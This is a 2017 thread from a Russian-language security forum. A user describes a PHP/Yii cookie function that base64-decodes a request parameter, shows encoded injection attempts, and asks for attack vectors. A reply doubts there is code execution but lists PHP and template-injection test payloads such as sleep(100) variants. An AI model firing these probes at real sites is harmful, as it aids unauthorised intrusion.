ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |

23.08.2017, 16:37
|
|
Познающий
Регистрация: 19.11.2006
Сообщений: 32
Провел на форуме: 95879
Репутация:
5
|
|
Нашел вот такую ошибку...
site.com?r=MQ== - отработало ок.
site.com?r[]=MQ== - дает ошибку
expects parameter 1 to be string, array given
это понятно, частая баг, но интересно следующее:
смотрим код, тут есть такая штука
Код:
Code:
public function SetCookie($refID)
{
$cookies = Yii::$app->response->cookies;
$cookies->add(new Cookie([
'name' => 'ref',
'value' => base64_decode($refID),
'domain' => $_SERVER['SERVER_NAME'],
'expire' => time() + 3600,
]));
}
как видно параметр декодится BASE64.
далее эксперименты:
site.com?r["1"]=MQ== - дает ошибку
а вот site.com?r["MQ=="]=MQ== - отрабатывает.
тут MQ== это 1 в base64
вообщем параметры в ["ТУТ"] в base64 отрабатываю.
идем далее - эксперименты;
запросы без вывода ошибки:
site.com?r["MSddOyUwMA=="]=MQ==
MSddOyUwMA== это 1'];%00
site.com?r["MSddO3BocGluZm8oKTslMDA="]=MQ==
MSddO3BocGluZm8oKTslMDA= это 1'];phpinfo();%00
без ошибки исполнено, но и phpinfo не вывело
а запрос
site.com?r["MSddO3BocGluZm8oKTt9JTAw"]=MQ==
MSddO3BocGluZm8oKTt9JTAw это 1'];phpinfo();}%00
дает ошибку.
Итак вопрос, какой бы вы посоветовали вектор атаки, какие еще можно провести тесты?
orlando@jabb.im - жаба для связи
|
|
|

23.08.2017, 18:24
|
|
Guest
Сообщений: n/a
Провел на форуме: 169212
Репутация:
441
|
|
По одной функции, точно сказать, есть ли в этом случае выполнение кода или нет, нельзя. Нужно видеть весь код, от начала и до конца.
На мой взгляд, в тестах, есть попытка выдать желаемое за действительное. Вариантов, при которых можно (гипотетически) внедрить код, может быть куча и пробовать их все сравни эффекту как об стенку горох.
Я на 99,9% уверен что там нет выполнения кода, но если очень хочется, могу предложить такие конструкции для теста:
Код:
Code:
sleep(100);
{math equation="x+y" x=5 y=4}
{{3*3}}
{PHP}sleep(100);{/PHP}
{${sleep(100)}}
`{${sleep(100)}}`
{$sleep[sleep(100)]}
${${sleep(100)}}
${@sleep(100)}
${sleep(100)}
${(string)sleep(100)}
${sleep(100)}
';sleep(100);#\
";sleep(100);#\
".sleep(100);#\
'.sleep(100);#\
|
|
|
|

23.08.2017, 21:20
|
|
Познающий
Регистрация: 19.11.2006
Сообщений: 32
Провел на форуме: 95879
Репутация:
5
|
|
crlf, огромное спасибо, дал пищу для размышлений и экспериментов!!!!
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|